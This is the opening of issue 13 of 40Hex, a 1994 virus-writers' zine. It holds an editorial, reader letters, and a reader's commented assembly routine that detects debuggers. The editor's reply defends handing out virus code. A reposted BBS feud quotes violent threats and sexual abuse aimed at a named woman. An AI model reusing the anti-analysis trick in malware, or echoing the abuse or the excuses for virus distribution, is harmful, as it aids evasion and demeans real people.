textfiles/magazines/40HEX/40hex013

5907 lines
226 KiB
Plaintext
Raw Permalink Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

40Hex Number 13 Volume 4 Issue 1 File 000
No, we are not dead. We are however insanely busy. This upcoming
year will be a legendary year for P/S with regards to various programming
projects. Can I tell you about them? Yes, but I won't. I will say that
we will be contributing immensely to the virus community. Notice, I did
not say Vx. Whenever I refer to the virus community, I am not refering
specifically to virus writers, virus collectors or Vx BBS sysops. I am
refering to everyone who has an interest in viruses. Whether its stopping
them or making them. It may be a split community, but I still percieve it
as ONE community.
I am not going to ramble, I am not going to ramble... Anyway, enjoy
the issue. If you like this magazine, please let us know.
Email: fortyhex@phantom.com
Snail Mail:
----------
40Hex
P.O. Box 252
New City, NY 10956
Table Of Contents
-----------------
40hex-13.000.............You're soaking in it!
40hex-13.001.............Letters To The Editor/Virus News
40hex-13.002.............Self Dis-Infecting .EXEs
40hex-13.003.............Removing Scan Strings From F-Prot
40hex-13.004.............Paul Fergusons Response to 40H12
40hex-13.005.............Mirror Virus Courtesy of TridenT
40hex-13.006.............Shifting Objective 3 Virus
40hex-13.007.............TiC's 40hex Index #1
40hex-13.008.............New Feature: This Old Virus.
Greets going out to: Omega and all the TridenT guys, Nowhere Man and the
[NuKE] people, The Attitude Adjuster, Spyder, GhostRider, Anyone and everyone
who sent us mail, articles or viruses, and to all programmers around the world.
Most important greets going out to all P/S members, keep up the great work.
40Hex Number 13 Volume 4 Issue 1 File 001
Welcome to the News and letters area. This file contains all the
interesting tidbits of news and whatnot that readers have sent our way.
Thanks a lot to everyone who contributed.
------------
I recently ftp'd all 12 of your issues and was browsing through them looking
to see what you were about. I ran into a survey that was done on virus writing
and it caused me to be a bit concerned. I've commented on the summary to
that article attached below.
[stuff deleted]
>Firearms are restricted because they can be used to cause serious or fatal
>injuries. No computer virus can be used to kill another person. However, no
>gun actually KILLS another person. People kill people, the gun is simply an
>instrument used. Maybe a knife would be a better comparison. Just becuase
To my knowledge, no one has to date been killed by a virus. However, it is
possible, and your presumption that no virus can be used to kill another
person is invalid. As more and more computers are integrated into hospital
settings, people's lives _depend_ on functional computers. A virus can
easily cripple a vital computer system, causing severe problems in hospital
operations and patient care which could ultimately lead to someone's death.
Viruses in other critical machines could prove just as fateful. Imagine a
virus in the computers of the space shuttle, or any of the machines on Earth
used to make it go? More and more, people are putting there _lives_ in the
hands of computers that they are trusting to work properly, by supporting
virus writers you are directly encouraging people to make it so these vital
computers don't function properly.
The only reason I am on my soapbox about this is because I have currently
come upon the situation where I am writing software that will be used in a
hospital environment in such a way that if I were to do a poor job and have
buggy code, peoples lives would be in jeopardy. For example, the paging
system for the all of the ORs will be tied to the system I am working on.
If someone has an OR emergency, they tell a computer in the OR, and an
emergency page goes out. If the system goes down for _any_ reason, serious
problems could arise.
>murders are committed with knives, should we restrict them? OR ban them
>outright? No, of course not. Same with viruses. Although they have the
Knives serve a useful purpose....what useful purpose do viruses serve?
>We in Phalcon/Skism all believe in the freedom of information, and the right
>that each and every American has to his own opinions. Yes, we've written
>viruses, and yes, we have no qualms about distributing virus code. (This
>magazine is one good example) No one will be injured through our actions,
>because we simply cranked out this 100% ascii text magazine. We don't spread
>our creations intentionally. We do distribute them to those who want them,
>and sometimes people do spread them. We cannot control the actions of >others.
>Breaking the law is wrong. We don't break the law by programming. We don't
>break the law by sharing code. Don't hold us responsible for those who use
>our creations to break the law. After all, you wouldn't hold Smith and >Wesson
>responsible for a crime committed using one of their firearms, would you? >No.
>Nor would you hold GMC, Inc. responsible for a death caused by a drunk >driving
I'd like to insert here that Einstein felt guilty about pioneering the science
that led to the atomic bomb and ultimately killed thousands of Japanese. Why?
Because something that _he_ did contributed to harming someone else. If _he_
had never taken certain actions, much harm would not have been inflicted on many
people. Just because you don't distribute to _victims_ the viruses you write,
you are partly responsible. The sole purpose of a virus is to do something
to someone that they do not welcome.
>one of their vehicles. They were not at fault for creating the vehicle. The
>drunk was at fault for acting the way he did. Same goes for viruses, and virus
>authors. Don't place the blame on the wrong party. There is a strong
>difference between creation and abuse.
>Next time you ponder the legality of virus writing, think about this. You
>wouldn't want cars banned just because a few people don't handle them
>responsibly. Attack the criminal, not the creator. And NEVER take away a
>person's right to create.
Since you seem to like analogies, what about the one from which viruses
got there name? If a group of scientist were sitting in a lab creating
new diseases and telling everyone how to do it easily, knowing that the
disease would likely be created and cause many people to become ill.....
Would they be responsible?
> --DecimatoR
> Phalcon/Skism
Anyway, I'd be interested in hearing your comments. Whether you give a damn
about other people or just don't feel at all responsible for your actions
as long as you don't pull the trigger on the gun......
Regards,
Chris Menegay
cmenegay@cs.tamu.edu
------------
Editor's Response:
I am going to keep this response pretty simple. Do you think that people
who manufacture and distribute guns feel responsible for people who are
murdered by their guns? I take full responsibility for my actions. If I
sold flowers and someone bought one from me, and then crammed it down
someone's throat and that person died, am I responsible? My intention wasn't
to hurt anyone, but someone got hurt. Viruses are essentially my flowers.
I don't intend for ANYONE to get hurt because of 40hex. I intend to share
my hobby with others. No more, no less.
------------
I really appreciate your articles. I find the articles on non-debugable code
very interesting. I developed some of my own. I used the lock command.
17F1:0100 B90601 MOV CX,0106 ; setup for the jmp cx command
17F1:0103 0C00 OR AL,00 ; bugus commands whose values are
; used for adding to cx. this is
; added if no debugger.
17F1:0105 1B00 SBB AX,[BX+SI] ; this bogus command is what is
; added to cx if a debugger is used
17F1:0107 F0 LOCK ; what makes it all happen
17F1:0108 89E5 MOV BP,SP ; get the stack
17F1:010A 8B7EFA MOV DI,[BP-06] ; look at offset of return ip value
; (di=010a if debugging else
; di=0108)
17F1:010D 034DFB ADD CX,[DI-05] ; add the appropriate bogus command
; to cx that is shown above
17F1:0110 FFE1 JMP CX ; go where no man has gone before
17F1:0112 E2EF LOOP 0103 ; this is the address of where the
; first jmp cx goes to if there
17F1:0114 90 NOP ; is no debugger. other
17F1:0115 90 NOP ; modifications to cx can be done
17F1:0116 90 NOP ; here but i just decremented cx
17F1:0117 90 NOP ; and jumped back to the start to do
17F1:0118 90 NOP ; it again
17F1:0119 90 NOP
17F1:011A 90 NOP
17F1:011B 90 NOP
17F1:011C 90 NOP
17F1:011D 75E4 JNZ 0103 ; this is where jmp cx goes to on
; the second go around without a
17F1:011F 90 NOP ; debugger. i thought i would send
17F1:0120 90 NOP ; it back for a third time.
17F1:0121 EBDD JMP 0100 ; this is where jmp cx goes to if
; there is a debugger running
17F1:0123 90 NOP ; captain kirk, scottie here, were
17F1:0124 90 NOP ; stuck in a continuous feedback
17F1:0125 90 NOP ; loop.
17F1:0126 90 NOP ; i don't think i can maintain this
17F1:0126 90 NOP ; much longer.
17F1:0127 90 NOP
17F1:0128 90 NOP
17F1:0129 B8070E MOV AX,0E07 ; this is where the jmp cx goes on
; the third time around
17F1:012C CD10 INT 10 ; lets do a beep for the folks back
; home
17F1:012E B8004C MOV AX,4C00 ; that's all folks.
17F1:0131 CD21 INT 21
the same sort of thing could be done to get the relative offset with the hlt
command. again debuggers will get it wrong
17F1:0100 EB04 JMP 0106 ; deja vu
17F1:0102 31C0 XOR AX,AX ; dummy program
17F1:0104 CD21 INT 21 ; bye
17F1:0106 F0 HLT ; halt that processor
17F1:0107 89E5 MOV BP,SP ; lookie at our stack data
17F1:0109 8B6EFA MOV BP,[BP-06] ; and suck off the returned ip
17F1:010C 83ED07 SUB BP,+07 ; for people who can't figure out
; how to adjust this value
; out of their displacement
Sincerely,
"Q" the misanthrope.
------------
As of today, another country has provisions against computer viruses in
its legislation: Italy. A "Computer Crime Act" has been approved by the
Italian Parliament last December 14th. These are its data:
LEGGE 23 dicembre 1993, n. 547
(Gazzetta Ufficiale 30-12-1993, n. 305)
(Law no. 547 passed Dec 23, 1993 - Published on the Official Journal
no. 305 of Dec 30, 1993)
The new act addresses various issues, including:
. Damages caused to computers and telecommunication systems;
. Unauthorized access;
. Possession and unauthorized diffusion of access codes;
. Spreading of malicious code;
. Computer fraud;
. Wiretapping of data communications;
. Etc.
I'm not a lawyer, so I can't translate the whole act - I can only
volounteer to e-mail a full copy in Italian to those interested
(it's around 22KB).
However, I have enclosed a tentative translation of the article
dealing with "Computer Viruses", as well as the original text.
If you find the translation inaccurate or plain wrong, feel free
to correct it.
Luca Parisi - Rome, Italy. <mc1980@mclink.it>
**Unofficial translation of Penal Code, art. 615.5**
"Article 615-quinquies of the Penal Code (Spreading of programs aimed
at damaging or interrupting a computer system).
Anyone who spreads, transmits or delivers a computer program, whether
written by himself or by someone else, aimed at or having the effect of
damaging a computer or telecommunication system, the programs or data
contained in or pertaining to it, or interrupting in full or in part or
disrupting its operation is punished with the imprisonment for a term of
up to two years and a fine of up to It. L. 20,000,000."
**Original Text, as in referenced act**
"Art. 615-quinquies. - (Diffusione di programmi diretti a danneggiare o
interrompere un sistema informatico). - Chiunque diffonde, comunica o
consegna un programma informatico da lui stesso o da altri redatto,
avente per scopo o per effetto il danneggiamento di un sistema
informatico o telematico, dei dati o dei programmi in esso contenuti o
ad esso pertinenti, ovvero l'interruzione, totale o parziale, o
l'alterazione del suo funzionamento, e' punito con la reclusione sino
a due anni e con la multa sino a lire venti milioni."
------ End of Forwarded Article
News article: Pamela Trexler aka Tiphoid Mary vs. Virnet
Summary: Allegedly, Tiphoid was removed from Virnet, when it was exposed
that she was a NuKE member, and the "virus underground" had access to top
secret elite information. Now, the removal is one thing, but Tiphoid and
others claim that someone in the Virnet Hierarchy allegedly did a full
background check on her, and supposedly even did a credit check.
Keywords: virnet tiphoid peoplewhohavetoomuchtimeontheirhands heroine
From : MICHAEL PARIS Number : 422
To : ALL Ref.# : 0
Subj. : Virnet 1 of 4 Conf : Virus-Info
Date : 04-30-94 Time : 17:46 [305/313]
V I R N E T U S A
T h e F a c t s
As I Know Them First Hand From A Virnet Hierarchy
By Michael Paris.
C.R.I.S (Computer Research & Information Service)
04/29/94
Part #1 Ethics
----------------
First I must say that it pains me to write this. I have had
nothing but respect for virnet and the people I have know in it.
But with certain info I have become aware of I feel it is my duty
as a part of the human race to make these facts known.
I will separate this info into two parts, The first being the
morality of virnet hierarchies and the second in being facts on
their hidden background checks they have done on some of their
members.
To start with I have turned in my node address for virnet for the
reasons you will see in this open letter, I do not care to continue
to receive the virnet echo anymore and feel that there is some
things you should be made aware of.
1. A quick look through the virnet nodelist will tell you that
there are many people connected to this echo. Why? (Not sure to
tell you the truth). It seems that for the topic of viruses there
is not much said. I have wasted space on my drive and time polling
and sorting through the mail for a few announcements of files and
welcomes, no real info, just some meaningless messages on
percentages of echo feeds etc.
This has changed a bit here in the US when they added the "movies"
echo, but this is not what I was looking for, if I wanted to talk
about movies I would get it from fido or usenet mail.
2. The hierarchies of the net seem not to know much about viruses.
I will say that the people I have talked to do not even know what
a virus is! (no fun here) this is true. Log on to your favorite
virnet hub or node (even the hierarchies systems) ask them what
polymorphic, spawning, stealth, etc, is and they will not know.
(this of course is not all systems, but I will guarantee that it is
the most of them, and definitely the hierarchies in virnet).
3. Lies, deceit, and morals. It seems that from the people I have
talked to they are no different from the people they talk against.
Most people know about their friend John, This man was accused of
being vulgar to the extremes, he is shunned for speaking very
obscene about female members of virnet, as well as his aditude that
just shows he is unbalanced in the mind.
Well it seems I have found the same here in the virnet hierarchies,
talking to the people I have made me sick to my stomach and
reminded me of the talks I had with such unbalanced people as I did
before. It made me sick to see the hate expressed and the way it
came out. Talking compleatly about another topic would always
bring us back to the slander and foul language I did not want to
take part in. As for the lies and deceit we will get into that a
bit more in this letter. But as I have witnessed the hierarchies
would tell me one thing (I know was truth) and cover the facts to
the person it was about to avoid public embarrassment.
Below you will find an actual conversation between me and A person
in the virnet hierarchy. THIS IS -NOT- A NODE OR HUB speaking for
virnet, it is someone in the hierarchy of virnet in a decision
making level!
[Narrator]
The names were taken out to protect the guilty!
This starts where this virnet hierarchy is talking about tring to
totaly get rid of an ex-virnet member that was found out to be a
nuke member getting the virnet echos. It makes me think why all the
bull shit seeing there is nothing really in the net to protect in
the first place but here is goes.
[Virnet Hierarchy]
"and now all we need to do is get rid of ahh, [nukemember], or I
don't know I guess i'm gona have to get a few good minds together
and create some kind of document to finally put this to a final
statement ehhm"
[Cris Staff Member] "well the biggest thing she has right know but she
does not have any proof of,"
[Virnet Hierarchy]
"Uh hu"
[Cris Staff Member]
"is when you told here about the credit and legal check that was
done on her, She does not have any proof of it but"
[Narrator]
Cris Staff Member was interrupted
[Virnet Hierarchy]
"I told her my dick was twelve inches long she didn't talk about
that!"
[Cris Staff Member]
"I don't think that would matter much"
[Virnet Hierarchy]
"why wouldn't that, ya she's so fat it wouldn't even phase her, 320
lbs. this girl is, I'd have to have a dick that was like god damm
A baseball bat."
[Cris Staff Member] "ok we won't get into that"
[Narrator]
Continued ..
--- GEcho 1.01+
* Origin: Computer Virus Research/Info Service 708-863-5285 (1:115/863)
From : MICHAEL PARIS Number : 423
To : ALL Ref.# : 0
Subj. : Virnet 2 of 4 Conf : Virus-Info
Date : 04-30-94 Time : 17:47 [306/313]
So the Cris Staff Member does not want to hear this garbage, Mr.
Virnet hierarchy goes on to talk about a previous Virnet hierarchy
that he was told was just as bad as this nuke member, because he
was told that virnet messages or files were being passed to the
virus groups through that person. Then he admits here and many
other times in this talk that he would rather join Crisnet and
leave virnet.
It might seem like a great prize to get someone with this position
into Cris but, we take pride in having 'honest' and 'sincere' non
slandering people in Cris. Every person I have talked to on this
matter that knows him has got the same impression of him and it
would not help Cris in the long run. He offered to bring more then
half of virnet with him into Cris, but again it would not be worth
it in the long run. (one bad apple theory)
[Virnet Hierarchy]
"I heard that [old virnet hierarchy] was filtering virnet stuff to
nukenet."
[Cris Staff Member]
"ya,"
[Virnet Hierarchy]
"so now, you know, I mean, what's true, what's false, that's why I
would rather then there being such distinct lines I would rather go
in the middle with someone like you."
"what I would love to do is leave my wife, turn out to be just, a
bum, and so I can go, and knock some sense into all of these that
are sitting back causing heck, AND PUT A COUPLE BULLETS IN THEIR
BRAINS! MAKE THEM SUFFER FIRST THOUGH! Because this is just to much
bullshit! Did you read the initial letter I wrote to [NukeMember]?"
"I've just been praying for someone to come over here or call, I
put my number out there, I am praying for all of these TUFF, BAD,
LILY WHITE MOTHER FUCKERS TO COME OVER HERE!"
"I would LOVE, to see them come over here!"
[Narrator]
Some time passed by and they get on the topic of that nuke member
again, The Virnet Hierarchy thinks that the Cris staff member is
going to spill the beans and will not fully admit to him about a
certain matter. So he continues...
[Virnet Hierarchy]
"how do i tell you that this is a virnet policy situation among
hosts, consequently, it would be against policy for me to go taking
things any further with anyone but a host or higher, how does that
sound?"
[Cris Staff Member]
"ok, last time when we talked you had shared with me that you had
resources available and that you HAD done a background and legal
check on [nukemember]"
[Virnet Hierarchy]
"It really doesn't matt...ok number one it really does not effect
Cris Admin, ok, it really doesn't matter what we are doing! If I
was getting ready to get on a plane to fly out there and blow here
brains out does it matter?"
[Cris Staff Member]
"that would"
[Virnet Hierarchy]
"would you tell her?"
[Cris Staff Member]
"ya"
[Virnet Hierarchy]
"so with that in mind, why should I say anything? your showing
partiality to her!"
[Cris Staff Member]
"A persons life is a whole other story, for someone to fly out to
blow someone's brains out, that person would be short in the head
or something, so that is a whole different scenario"
[Virnet Hierarchy]
"Well she needs somebody to, [pause] she needs to sit in jail and
have some BIG BLACK WOMAN, [pause] STICK A BROOM HANDLE UP HER
CUNT!" [pause] "and hopefully the broom handle will have slivers,
maybe it will excite her! BIG FAT GREASY BITCH!"
[Narrator]
This is all going to far at this point, the slander against someone
he hardly knows and his vulgar tongue is working overtime, now he
goes on to defend the issue of looking into peoples personal
background. (meaning credit and legal checks)
[Virnet Hierarchy]
"Does it matter if I said I was going to hire an investigator to do
checks on every person in virnet?"
[Cris Staff Member]
"well, you should not have told her though, you should have never
said anything to her"
[Virnet Hierarchy]
"it's right in the papers, that four people, BEFORE SHE JOINED,
THAT DIRTY UGLY SLUT SHOULD LEARN HOW TO READ! its right in the
papers that four people will have access to your information, the
REC, the applications coordinator, Mr. Michael Larson, and she put
up such a bitch about him having information on her, and if need
be, and INVESTIGATOR! [pause] IT SAY'S THAT IN THE PAPER WORK!"
[Cris Staff Member]
"hum"
[Virnet Hierarchy]
"what ever she does in life, if she gets stopped for a traffic
violation, the whores going to get stopped and checked for
everything that she's ever done!"
Continued ...
--- GEcho 1.01+
* Origin: Computer Virus Research/Info Service 708-863-5285 (1:115/863)
From : MICHAEL PARIS Number : 424
To : ALL Ref.# : 0
Subj. : Virnet 3 of 4 Conf : Virus-Info
Date : 04-30-94 Time : 17:47 [307/313]
[Narrator]
This goes on, and there is much more slander about named virus
writers, virus writers in general, groups, etc. But this is here
so you can understand why I feel that virnet has it's problems and
I want no part in it.
Part #2 Virnet Background Checks
---------------------------------
Next lets touch the area of background checks. Did you know that
this [Virnet Hierarchy] believes that they (if they feel the need)
believe they can check you out in ANY WAY they want?
This includes LEGAL, CREDIT, PERSONAL, ETC... this virnet hierarchy
told me that it has always been done this way. People did not know
it, but the previous hierarchies did this as well. THIS WAS TOLD ME
BY THIS VIRNET HIERARCHY!
They feel that the words in the application that you fill out where
it says about your info on the application, that "if need be, and
investigator" will see it, means that they can find a private
investigator or friend of their's to look into your LEGAL and
PERSONAL background and DIG UP any info they can find on you!
This hierarchy feels that there is no forgiveness or excuses for
mistakes, if you have a bad credit background it shows you are
"unstable" and not fit for the net! If you were an X-Convict and
paid your debt to society, you will do it again and could be a bad
egg in the net, so you should not be allowed in the net!
[Narrator]
So what we will see here is where the common fact of him telling me
that he had someone do these checks on this virnet node is not
disputed, but rather EVERY TIME I bring it up he changes the
subject until it comes to the point where after hours I confront
him and corner him on the issue and he spills the beans.
[Cris Staff Member]
"I guess the main thing she was talking about was the virnet checks,
you know that they checked into her credit"
[Narrator] ---> Interrupted by Virnet Hierarchy and changes the
topic.
[Virnet Hierarchy]
"I will not divulge information on my life, whether I am getting
along with my wife or not, or whether my penis is shriveled up or
not.."
[Narrator]
So he goes on and on to keep away from the issue.
[Cris staff Member]
"Well you did do a check on her right? "
[Virnet Hierarchy]
"huh?"
[Cris Staff Member]
"I remember you telling me about this"
[Narrator] ----> Interrupted again and changes the topic.
[Virnet Hierarchy]
"Hold on a minute I am reading a letter"
[Narrator] ----> after a few minutes of reading he never comes back
to answer.
[Cris Staff Member]
"well the biggest thing she has right know but she does not have any
proof of,"
[Virnet Hierarchy]
"Uh hu"
[Cris Staff Member]
"is when you told here about the credit and legal check that was
done on her, She does not have any proof of it but"
[Narrator]
Cris Staff Member interrupted
[Virnet Hierarchy]
"I told her my dick was twelve inches long she didn't talk about
that!"
[Cris Staff Member]
"I don't think that would matter much"
[Virnet Hierarchy]
"why wouldn't that, ya she's so fat it wouldn't even phase her, 320
lbs. this girl is, I'd have to have a dick that was like god damm
A baseball bat."
[Narrator]
So we see once again he changes the topic!
[Cris staff Member]
"Well the main thing she's got is the fact of the legal and
background checks, but she does not have any proof at all, there is
nothing in writing that she can pull up, just that one instance of
you informing her that it was done on her."
[Narrator]
Again this goes on, no comment on what was said, just A change of
topic. This goes on many times, at least 12 other times where he
evades the issue until he is cornered on it!
[Virnet Hierarchy]
"Does it matter if I said I was going to hire an investigator to do
checks on every person in virnet?"
[Cris Staff Member]
"well, you should not have told here though, you should have never
said anything to her"
[Virnet Hierarchy]
"it's right in the papers, that four people, BEFORE SHE JOINED,
THAT DIRTY UGLY SLUT SHOULD LEARN HOW TO READ! its right in the
papers that four people will have access to your information, the
REC, the applications coordinator, Mr. Michael Larson, and she put
up such a bitch about him having information on her, and if need be,
and INVESTIGATOR! [pause] IT SAY'S THAT IN THE PAPER WORK!"
[Cris Staff Member]
"hum"
Continued ...
--- GEcho 1.01+
* Origin: Computer Virus Research/Info Service 708-863-5285 (1:115/863)
From : MICHAEL PARIS Number : 425
To : ALL Ref.# : 0
Subj. : Virnet 4 of 4 Conf : Virus-Info
Date : 04-30-94 Time : 17:48 [308/313]
[Virnet Hierarchy]
"what ever she does in life, if she gets stopped for a traffic
violation, the whores going to get stopped and checked for
everything that she's ever done!
[Cris Staff Member]
"I have to be honest with you here ... I see mail nets as a hobby,
I would not want a net to be looking into my legal and credit
information. I am sure you feel the same way!"
[Virnet Hierarchy]
"Your ABSOLUTELY wrong!"
[Cris Staff Member]
"Tell me why I am wrong"
[Virnet Hierarchy]
"Everything we do in life, everything we do we get checked! When you
go for a job, you get checked, you sign a paper, maybe you haven't
but I have signed many of papers that said [changes idea] No matter
what you do, if you drive, no matter what you do in life, driving
can be a hobby, but your going to get checked! "
"Let me give you a beautiful example, she better not ever go to LA.
california, they send police officers on the street, and they just
stop people at will, and they run a check on them!"
[Cris Staff Member]
"But we are talking about a net here, ok you feel this way because
it's an anti-virus net or if it was any net?"
[Virnet Hierarchy]
"ANY NET! A N Y N E T!, when you join an organization they have
every right to check up on you because you are becoming part of a
team. and maybe there is someone that don't want as part of that
team."
[Cris Staff Member]
"Well I know there is allot of people that may have claimed a
bankruptcy in their past, or maybe they are an x-convict, they
spent time for a certain crime, but they paid their dept to
society. So if that shows up they are going to be kicked out of the
net? What virnet does it it's own business, I don't want to argue,
but" [interrupted]
[Virnet Hierarchy]
"She was offered to resign! did she resign? she makes it look like
she quit the virnet! in fact all hells going to break loose when I
resign, I'm going to resign. Everybody's going down!"
[Narrator]
This still goes on quite a bit, talking about many different topics
such as law, how you should not make mistakes and if you do you
should go to jail for them, how viruses should be against the law
and people that write them should be locked up, many virus writers
are mentioned and slandered, but then on the topic of prostitutes,
they are ok! and other law breakers are not as bad as virus
writers. I told him that I resign my node number for virnet, and
he asked me to please wait until this all blows over, but I could
not wait for this all to come out in the open, so I just left my
node number with him.
Also I have a number of hole cards ready to come out on Mr. Virnet
Hierarchy in case the same kind of slander comes this way.
Here is A post that also shows support in this issue:
* Original Area:NETMAIL
* Original From: David Schepper (1:114/150)
* Original To : Pam Trexler (1:15/20)
> I would be interested to know how this turns out for
> you and Steve. Virnet
> is a great disappointment to me all the way round.
Well, I got a call from Mr. Nuemann (spelling?) last night, and we spent about
two hours on the phone, during which time he told me things about you (the
same things that you had already told me), and we got into a discussion about
having virus writers in the net. I told him that, yes, there should be SOME
screening, but that the net would be better served if they had at least SOME
opposing information allowed access, but he disagreed. I might have been
willing to stay in the net, had he not basically confirmed your statements
about background checks. He said that they DO hire Private Investigators to
look into the backgrounds of "questionable" people. At that point, I told him
that I believed that they had overstepped the bounds of ANY network, and that
what they are doing may indeed be illegal. I also told him that my privacy and
integrity were MUCH more important to me than ANY net, and could no longer
afford to be associated with their net.
Anyway, to make a long story short, I am no longer associated with VirNet, and
their communistic approach to what is STILL basically a hobby.
Dave
C.R.I.S (Computer Research & Information Service)
--- GEcho 1.01+
* Origin: Computer Virus Research/Info Service 708-863-5285 (1:115/863)
From : MATT MILLER Number : 426
To : BILL DIRKS Ref.# : 0
Subj. : Virnet 1/3 Conf : Virus-Info
Date : 04-30-94 Time : 19:16 [309/313]
This is gonna be a long post folks... I suggest you get a
pepsi/beer/glass of your favorite beverage, and a sandwich or
something before you continue. If you don't like long posts I
suggest you move to the next thread.
BD>Pam Trexler wrote a misleading article and here's a sort of rebutal.
BD> Remember, Virnet is a fairly selective and secure network. Untampered
>untainted files (hatched files are received directly from the authors) are
>standard along with membership exclusively for those with antivirus interes
>(not those trying to help the virus writing community). Naturally, virus
>writers and those that help them are excluded. Also, Virnet policy states
>Virnet information will not be given or passed to non-Virnet nodes. Further
>in joining Virnet, you agree to the above.
----------------------------------------------------------------------------
> Individual regions can further put
>additional restrictions on membership (which is the case in North America).
Bill, Does this include the signing of any form(s) allowing
Virnet personnel the right to access one's personal records?
I think not. I also know that in most states it is illegal
to obtain such information without explicit written consent.
Do you or Mr. Neuman have Ms. Trexlers signature on any form(s)
authorizing this type of invasion of privacy? I thought not...
>Virnet also prides itself on the fact that most of their information doesn'
>make it to the virus writing community for their use. If someone is found
>doing this, they are dismissed as was your case since you were in violation
>virtually all policies in place..
OK, so you have someone in your network that you want out. Is it
really necessary to obtain personal information on them?
Couldn't you just politely inform them of their removal from the
net?
BD> PT> Do you know that when you join Virnet that the
> PT> coordinators of that network are performing personal
> PT> background checks on their members?
BD> Untrue. Nothing except a cursury check is done. e.g. are you known to
>part of a virus writing group or are you known for writing or spreading
>viruses, etc.
-------------------------------------------------------------------------
>Here in the US at present, this is determined by the
>applications coordinator from information he has on hand, NOT from a
>background check.
Hmmm... seems to me that you contradict yourself in the next
sentance.
____________________________________________________________________
>Unfortunately, you forced yourself to become the one and
>only exception to the rule to date (>3 years).
____________________________________________________________________
**** In the above sentance Bill admits that Virnet did the
**** background/credit check. Remember this when you read his other
**** posts saying they didn't.
Bill, kindly explain to me how someone can force Virnet to do a
background check on them. I really don't understand your angle
here. She didn't force Virnet / Mr. Neuman to do anything. He
chose to do it. That is irrefutable FACT. If you don't want
someone in your net you remove them, you do not go snooping into
their background. (unless you are the Virnet applications
co-ordinator looking for dirt on people you dislike...)
**** Note for those that made it this far:
Information to back up the above statement should reach you in
the same mail packet as this post. If not it will surely be in
the next.
BD> PT> Do you know they are pulling credit records and legal records on
> PT> their nodes?
BD> This was a one time incident limited to yourself, and forced by yourse
C'mon now Bill, she didn't force anyone to do any kind of
background/credit check. You are attempting to smooth over what
they did.
>. Because of the various lies and deceit on your part, it was virtally
>impossible without resorting to extraordinary means to determine what was f
>and what was fiction coming from you.
If Virnet knew of these alleged "lies and deceit" then again I
ask you "Why didn't they just remove her from the net?" Why go
through all the trouble of obtaining the aforementioned checks?
>This info was used as a tool to ferret
>out a leak in the network. It was used "after" you seemed to be the leak bu
>used for confirmation. This is obvious by the amount of time it took to
>confirm you were the originating US link of Virnet info to the virus writin
>community (> 1 yr).
(Continued to next message)
QMPro 1.50 03-4821 Blah..........
--- GEcho 1.01+
* Origin: Computer Virus Research/Info Service 708-863-5285 (1:115/863)
From : MATT MILLER Number : 427
To : BILL DIRKS Ref.# : 0
Subj. : Virnet 2/3 Conf : Virus-Info
Date : 04-30-94 Time : 19:16 [310/313]
(Continued from previous message)
Personal comment mode on:
Bill, I hate to be the bearer of bad news, but Virnet stinks,
the net is stale and boring and contains no information any
virus writer (or most any bipedal lifeform) would consider
valuable.
mode off.
>Three people have this info and you are aware of who they
>are (meets most the legal requirements for disclosure since you are the one
>who provided the information to enable verification of information you
>withheld). From my understanding, you are upset basically over the fact tha
>this info helped verify you were part of the virus writing community.
This is FUD (f-cked up drivel) dreamed up by Mr. Neuman to try
and cover their proverbial ass should litigation be forthcoming.
BD> PT> They didn't tell me they would pull my credit record.
> PT> They never informed me that they would check my legal
> PT> record. There is nothing
> PT> in those that I am ashamed of, but do they have the right to do this
> PT> WITHOUT THE KNOWLEDGE OF THE NODE? Why would Virnet need to know abou
> PT> my credit background? Why should Virnet need to know
> PT> if I have a speeding ticket or anything else?
BD> No, but then again, you are the one who forced them into a corner with
>your lies. You were in the net over a year before anything was done. You ar
>the one who cast doubt as to who you are or are not. This information was u
>for verification and informational purposes only. "NONE" of it has or will
>published unless you chose to do so.... e.g. no one has published your vari
>AKAs that you use among other things. e.g. you published your real name her
>instead of an AKA which is the norm of your friends.
Yet more FUD... Again I ask you to tell me how she "forced"
anyone to do anything? So what if you haven't published it
publicly... it is still illegal in most areas to obtain such
information without written consent.
> Let me put this in a better prospective for everyone! I am a computer
>consultant. I reserve the right to reject prospective clients depending upo
>many factors. I can make this determination based upon information they
>readily provide me. I "may" depending upon the circumstances use what they
>have provided to do credit checks, "rap-sheets", etc., to PROTECT myself. T
>is based upon something legally called "Implied Consent". I did not need th
>permission to perform these checks as you imply. It is 100% legal in most
>cases. The Virnet administration simply applied the "Implied Consent" rule
>protect themselves. Nothing more, nothing less. Please understand, you were
>the one that consented to Virnet's rules and broke them.
Trying to rationalize it away... The above is pure cr-p. You are
attempting to say that just by accepting a position in Virnet
she "implied consent" for checks into her personal and legal
records? B-S! ***** Potential Virnet sysops should reread the
above paragraph 15 times, after doing so if you still choose to
join Virnet, you should consider professional counselling.
BD> PT> Running a BBS is a hobby, not a business. My feeling
> PT> about this is that they do not have the right to invade
> PT> my privacy in order to run a network. Especially
> PT> without my knowledge.
BD> You ported Virnet info to the virus writing community without telling
>them which was against their rules. Granted, two wrongs don't make a right
>it seems you are upset about them doing the same thing you were, going behi
>your back. Doesn't feel to well does it when you break a trust.........
In the above para. Bill admits what they did was wrong. Very
strange indeed after all the FUD he spewed trying to rationalize
it away don't you think? Yet AGAIN I ask why she wasn't just
removed from the net?
BD> PT> How would you feel to learn that your legal records are being passed
> PT> overseas because you were interested in reading and participating in
> PT> an anti-virus network.
BD> They were passed overseas to the Virnet International Coordinator. I'm
>sure this and other info helped in verifying your excommunication from the
>net. It'll also help so you don't go and get an overseas feed into the net
>corrupt it. I do know that you have not appealed to the IC over this matter
>even though it was suggested to you. I know most normal people who are
>innocent of something wouldn't pass up a chance to prove their innocence to
>the "final" deciding authority. Why haven't you??
Excommunication? You make Virnet sound like some type of deviant
religion. If one is excommunicated from a religion no-one is
allowed to speak to them at all, yet here you are spewing more
and more FUD trying to smooth it over... Even if she did do all
the things you/Virnet accuse her of it still does not justify
the invasion of privacy perpetrated by Virnet / Mr. Neuman.
BD> PT> I don't want any part of Virnet and these personal investigations. I
> PT> am glad I am no longer a member.
(Continued to next message)
QMPro 1.50 03-4821 Blah..........
--- GEcho 1.01+
* Origin: Computer Virus Research/Info Service 708-863-5285 (1:115/863)
From : MATT MILLER Number : 428
To : BILL DIRKS Ref.# : 0
Subj. : Virnet 3/3 Conf : Virus-Info
Date : 04-30-94 Time : 19:17 [311/313]
(Continued from previous message)
BD> They are also glad you are now not a member to pass on Virnet
